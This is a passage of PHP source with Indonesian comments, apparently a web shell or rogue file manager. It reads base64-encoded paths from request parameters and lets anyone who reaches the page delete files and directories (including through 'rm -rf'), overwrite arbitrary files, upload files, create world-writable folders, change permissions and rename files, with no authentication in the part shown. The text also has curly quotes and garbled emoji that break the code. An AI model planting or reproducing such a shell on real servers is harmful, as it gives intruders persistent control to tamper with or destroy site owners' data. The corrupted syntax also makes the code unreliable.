‘);
}
// — 2. LOGIKA NAVIGASI —
$default_path = str_replace(‘\\’, ‘/’, getcwd());
if (isset($_GET[‘path’]) && !empty($_GET[‘path’])) {
$current_path = str_replace(‘\\’, ‘/’, realpath(base64_decode($_GET[‘path’])));
} else {
$current_path = $default_path;
}
if (!$current_path) $current_path = $default_path;
function encodePath($p) { return base64_encode($p); }
// — 3. ACTIONS —
$msg = “”;
// Aksi Hapus
if (isset($_GET[‘del’])) {
$target = base64_decode($_GET[‘del’]);
if (is_file($target)) unlink($target);
elseif (is_dir($target)) exec(“rm -rf ” . escapeshellarg($target));
$msg = “β
Terhapus!”;
}
// Aksi Edit / Simpan File
if (isset($_POST[‘save_file’])) {
file_put_contents($_POST[‘filepath’], $_POST[‘content’]);
$msg = “β
Tersimpan!”;
}
// Aksi Upload
if (isset($_FILES[‘f_upload’])) {
$dest = $current_path . ‘/’ . $_FILES[‘f_upload’][‘name’];
if (move_uploaded_file($_FILES[‘f_upload’][‘tmp_name’], $dest)) {
$msg = “β
Upload Berhasil!”;
}
}
// Aksi Membuat File Baru
if (isset($_POST[‘new_file_btn’])) {
$new_file = $current_path . ‘/’ . $_POST[‘new_filename’];
if (!file_exists($new_file)) {
file_put_contents($new_file, ”);
$msg = “β
File baru berhasil dibuat!”;
} else {
$msg = “β File sudah ada!”;
}
}
// Aksi Membuat Folder Baru
if (isset($_POST[‘new_dir_btn’])) {
$new_dir = $current_path . ‘/’ . $_POST[‘new_dirname’];
if (!file_exists($new_dir)) {
mkdir($new_dir, 0777, true);
$msg = “β
Folder baru berhasil dibuat!”;
} else {
$msg = “β Folder sudah ada!”;
}
}
// Aksi CHMOD
if (isset($_POST[‘chmod_btn’])) {
$target_chmod = $_POST[‘chmod_target’];
$permission = octdec($_POST[‘chmod_permission’]);
if (chmod($target_chmod, $permission)) {
$msg = “β
Permission berhasil diubah!”;
} else {
$msg = “β Gagal mengubah permission!”;
}
}
// Aksi Rename
if (isset($_POST[‘rename_btn’])) {
$old_path = $_POST[‘rename_old’];
$new_path = dirname($old_path) . ‘/’ . $_POST[‘rename_new’];
if (rename($old_path, $new_path)) {
$msg = “β
Nama berhasil diubah!”;
} else {
$msg = “β Gagal mengubah nama!”;
}
}
?>
“; ?>